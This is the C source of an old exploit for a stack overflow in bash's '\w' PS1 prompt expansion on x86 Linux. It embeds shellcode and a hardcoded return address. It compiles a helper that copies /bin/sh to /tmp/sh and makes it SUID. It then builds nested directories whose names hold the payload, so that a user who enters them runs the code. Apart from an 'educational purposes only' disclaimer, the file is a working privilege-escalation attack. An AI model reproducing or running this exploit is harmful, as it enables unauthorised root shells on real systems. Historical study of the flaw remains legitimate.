/*
 *      BASH: '\w' in PS1 environment variable - x86 exploit
 *      by Miroslaw Grzybek <mig@zeus.polsl.gliwice.pl>
 *
 *              - tested on: DEBIAN LINUX 1.3.1, BASH 2.0.0(1)
 *                           RED HAT LINUX 5.0, BASH 1.4.17(1)
 *
 *      THIS IS FOR EDUCATIONAL PURPOSES ONLY
 *      USE IT AT YOUR OWN RISK
 *
 *      When run, this program creates directories:
 *       AAAAAA....../AAAAAA....../AAAAAA....../CODE......./RETADDR.....
 *       (255 bytes)  (255 bytes)  (255 bytes)  (50 bytes)  (255 bytes)
 *
 *      When you have '\w' included in your PS1 env. variable and
 *      enter to the last of this directories, then "/tmp/tp" program is
 *      executed and SUID shell "/tmp/sh" is created
 */

#include        <unistd.h>

/*
 *      Code we would like to run when stack is smashed
 */
char code[] =
  "\xeb\x24"              /* jmp    GETADDR   [2000]*/
  /* RUNPROG:         [2000]*/
  "\x5e"                  /* popl   %esi      [2000]*/
  "\x89\x76\x08"          /* movl   %esi,0x8(%esi)  */
  "\x31\xc0"              /* xorl   %eax,%eax [2000]*/
  "\x88\x46\x07"          /* movb   %al,0x7(%esi)   */
  "\x89\x46\x0c"          /* movl   %eax,0xc(%esi)  */
  "\xfe\x06"              /* incb   (%esi)    [2000]*/
  "\xfe\x46\x04"          /* incb   0x4(%esi) [2000]*/
  "\xb0\x0b"              /* movb   $0xb,%al  [2000]*/
  "\x89\xf3"              /* movl   %esi,%ebx [2000]*/
  "\x8d\x4e\x08"          /* leal   0x8(%esi),%ecx  */
  "\x8d\x56\x0c"          /* leal   0xc(%esi),%edx  */
  "\xcd\x80"              /* int    $0x80     [2000]*/
  "\x31\xdb"              /* xorl   %ebx,%ebx [2000]*/
  "\x89\xd8"              /* movl   %ebx,%eax [2000]*/
  "\x40"                  /* incl   %eax      [2000]*/
  "\xcd\x80"              /* int    $0x80     [2000]*/
  /* GETADDR:         [2000]*/
  "\xe8\xd7\xff\xff\xff"  /* call   RUNPROG   [2000]*/
  ".tmp.tp";              /* Program to run .XXX.XX */

/*
 *      Return address, you may have to change it if expl. doesn't works
 */
int ADDR=0xbffff2ff;

void main(void)
{
  char dir[256];
  int i, align;

  printf("BASH '\\w' option in PS1 exploit example\n");

  printf("- Creating /tmp/tp.c\n");
  system("echo 'main() {'                        >  /tmp/tp.c");
  system("echo 'system(\"cp /bin/sh /tmp/sh\");' >> /tmp/tp.c");
  system("echo 'system(\"chmod +s /tmp/sh\");'   >> /tmp/tp.c");
  system("echo '}'                               >> /tmp/tp.c");

  printf("- Compiling /tmp/tp.c to /tmp/tp\n");
  system("gcc -o /tmp/tp /tmp/tp.c");

  printf("- Removing /tmp/tp.c\n");
  system("rm -f /tmp/tp.c");

  /* Computing alignment for the 'address' directory */
  getcwd(dir,255);
  align=(strlen(dir)+2) % 4;

  memset(dir,'A',255);
  dir[255]=0;

  printf("- Creating directories AAA.../AAA.../AAA.../CODE.../ADDR...\n");
  mkdir(dir,0777);
  chdir(dir);
  mkdir(dir,0777);
  chdir(dir);
  mkdir(dir,0777);
  chdir(dir);

  /* create directory which name is our code */
  mkdir(code,0777);
  chdir(code);

  /* create directory which name is return addresses */
  for(i=align;i<252;i+=4) *(int *)&dir[i]=ADDR;
  mkdir(dir,0777);
  chdir("../../../../");

  printf("- OK\n\n");
}
